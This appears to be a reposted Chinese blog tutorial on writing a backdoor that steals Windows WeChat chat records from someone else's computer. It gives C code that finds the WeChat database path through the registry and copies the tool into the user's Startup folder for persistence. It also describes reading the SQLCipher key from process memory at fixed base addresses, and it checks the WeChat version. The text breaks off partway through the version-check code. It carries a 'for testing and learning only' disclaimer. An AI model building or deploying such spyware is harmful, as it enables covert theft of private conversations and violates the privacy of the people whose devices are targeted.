写一个工具来偷走Windows微信的聊天记录 |
您所在的位置:网站首页 › 如何破解电脑的微信聊天记录 › 写一个工具来偷走Windows微信的聊天记录 |
背景 前段时间在网上看文章,看到一篇微信解密数据库的文章,然后突然有了想法,如果有一个类似后门的程序,在朋友的电脑上运行后(无中生友)把聊天记录发送过来,岂不是很爽(直接被警察叔叔抓走)。 然后就去搜了文章和视频,主要学了关于微信逆向的各种操作,对微信的各个功能模块和行为流程有了初步的认识。 文章讲下部分功能的原理和实现方式,完整代码在最后,不会开发代码很渣,师傅们凑活看,仅用于测试与学习。 功能设计 内容 微信调用数据库的方法 微信的数据库使用的是sqlite3,数据库文件在C:UsersXXXDocumentsWeChat Files微信账号Msg这个路径下,默认路径需要根据注册表来判断: HKEY_CURRENT_USER Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders的Personal 微信先加载数据库,后利用密钥解密,加解密用到了 sqlcipher。其中主要的聊天记录都在MSG文件中,体积也会比较大。 数据库解密 PC版微信数据库解密详细教程https://bbs.pediy.com/thread-251303.htm 这篇文章写的很详细,包括用OD找到密钥,脚本解密等。程序也用到了里面的解密脚本,但是出现了一个问题,就是大文件无法完全解密,从网上搜了下也没有解决方案,这个bug还需要研究下脚本才能解决。 定位密钥基址和获取密钥 通过OD获取密钥后,为了动态获取密钥,需要获取密钥的基址。使用FindWindow获取窗口句柄,然后用GetWindowThreadProcessId获取pid,OpenProcess打开进程句柄,利用CE找到的基址获取密钥,使用ReadProcessMemory读地址上的内容。和获取微信id,手机号,位置,昵称,二维码,头像的方法一致。比如这篇文章: PC 微信 Hook 实战记录 1: 找到个人信息 功能实现 获取数据库位置 根据注册表获取微信默认位置,其中需要微信id,通过基址和偏移可以得到,具体想要获取的数据库名字需要自己改。。。 void getPath(unsigned char *dbpath) { char cmd_command[256] = { 0 }; char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"; HKEY hKey; DWORD dwType = REG_BINARY; REGSAM mode = KEY_READ; DWORD length = 256; int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hKey); ret = RegQueryValueEx(hKey, "Personal", 0, &dwType, dbpath, &length); if (ret == 0) { RegCloseKey(hKey); } else { printf("failed to open regedit.%d\n", ret); } 开机自启 想要获取每一段时间内的聊天记录,所以想做个可持续发展。改注册表动静有点大,选择一种低权限的方式,将后门放到shell:startup 目录下,也就是当前用户的启动目录,启动电脑后程序也会启动。 int winStartUp() { unsigned char value[256] = { 0 }; char cmd_command[256] = { 0 }; char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"; HKEY hKey; DWORD dwType = REG_BINARY; REGSAM mode = KEY_READ; DWORD length = 256; int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hKey); ret = RegQueryValueEx(hKey, "Startup", 0, &dwType, value, &length); if (ret == 0) { RegCloseKey(hKey); } else { printf("failed to open regedit.%d\n", ret); return0; } sprintf_s(cmd_command, "copy wechatdb.exe \"%s\" /B", value); printf("%s\n",cmd_command); system(cmd_command); return0; } 判断微信版本 只要获取了WeChatWin.dll的文件版本,也就获取了微信的版本,两者是相同的,由于不同微信版本的密钥基址不同,所以如果微信版本不符合程序就可以直接退出了。 DWORD IsWxVersionValid(WCHAR *VersionFilePath) { string asVer = ""; VS_FIXEDFILEINFO* pVsInfo; unsignedint iFileInfoSize = sizeof(VS_FIXEDFILEINFO); int iVerInfoSize = GetFileVersionInfoSizeW(VersionFilePath, NULL); if (iVerInfoSize != 0) { char* pBuf = newchar[iVerInfoSize]; if (GetFileVersionInfoW(VersionFilePath, 0, iVerInfoSize, pBuf)) { if (VerQueryValue(pBuf, TEXT("\\"), (void**)&pVsInfo, &iFileInfoSize)) { //主版本2.9.0.123 //2 int s_major_ver = (pVsInfo->dwFileVersionMS >> 16) & 0x0000FFFF; //9 int s_minor_ver = pVsInfo->dwFileVersionMS & 0x0000FFFF; //0 int s_build_num = (pVsInfo->dwFileVersionLS >> 16) & 0x0000FFFF; //123 int s_revision_num = pVsInfo->dwFileVersionLS & 0x0000FFFF; //把版本变成字符串 strstream wxVer; wxVer |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |